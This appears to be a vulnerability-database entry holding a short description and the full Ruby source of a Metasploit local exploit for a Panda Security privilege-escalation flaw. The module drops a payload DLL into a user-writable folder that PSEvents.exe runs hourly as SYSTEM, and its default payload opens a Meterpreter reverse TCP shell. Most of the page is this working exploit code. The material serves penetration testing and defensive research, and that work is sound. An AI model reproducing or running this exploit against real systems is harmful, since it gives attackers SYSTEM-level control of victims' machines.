Panda Security PSEvents Privilege Escalation

2016-09-28T00:15:17
ID MSF:EXPLOIT/WINDOWS/LOCAL/PANDA_PSEVENTS
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. When run, it checks a user writable folder for certain DLL files, and if any are found they are automatically run. Vulnerable Products: Panda Global Protection 2016 (<=16.1.2) Panda Antivirus Pro 2016 (<=16.1.2) Panda Small Business Protection (<=16.1.2) Panda Internet Security 2016 (<=16.1.2)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule &lt; Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Exploit::FileDropper
  include Post::File

  def initialize(info={})
    super( update_info( info,
      'Name'          =&gt; 'Panda Security PSEvents Privilege Escalation',
      'Description'   =&gt; %q{
        PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
        When run, it checks a user writable folder for certain DLL files, and if any are found
        they are automatically run.
        Vulnerable Products:
        Panda Global Protection 2016 (&lt;=16.1.2)
        Panda Antivirus Pro 2016 (&lt;=16.1.2)
        Panda Small Business Protection (&lt;=16.1.2)
        Panda Internet Security 2016 (&lt;=16.1.2)
      },
      'License'       =&gt; MSF_LICENSE,
      'Author'        =&gt; [
          "h00die &lt;mike@shorebreaksecurity.com&gt;", # Module,
          'Security-Assessment.com' # discovery
        ],
      'Platform'      =&gt; [ 'win' ],
      'SessionTypes'  =&gt; [ 'meterpreter' ],
      'Targets'       =&gt; [
          [ 'Windows x86', { 'Arch' =&gt; ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' =&gt; ARCH_X64 } ]
      ],
      'DefaultTarget' =&gt; 0,
      'DefaultOptions' =&gt; {
        'payload' =&gt; 'windows/meterpreter/reverse_tcp',
        'exitfunc' =&gt; 'seh'
      },
      'References'    =&gt; [
        [
          'EDB', '40020',
          'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
          'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
        ]
      ],
      'DisclosureDate'=&gt; '2016-06-27'
    ))
    register_options(
      [
        OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
                             ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
        OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
      ])
  end

  def get_path()
    case sysinfo['OS']
    when /Windows (NT|XP)/
      return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system
      return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    end
  end

  def check
    if directory?(get_path())
      print_good('Vuln path exists')
      CheckCode::Appears
    else
      vprint_error("#{get_path()} doesn't exist on target")
      CheckCode::Safe
    end
  end

  def exploit
    vprint_status("OS Detected as: #{sysinfo['OS']}")

    payload_filepath = get_path()
    payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
    upload_payload_dll(payload_filepath)

    # start the hour wait
    stime = Time.now.to_f
    print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
    print_status "Start Time: #{Time.now.to_s}"
    until session_created? || stime + datastore['ListenerTimeout'] &lt; Time.now.to_f
      Rex.sleep(1)
    end
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll()
    print_status('Uploading the Payload DLL to the filesystem...')
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
      register_file_for_cleanup(payload_filepath)
    rescue Rex::Post::Meterpreter::RequestError =&gt; e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end
end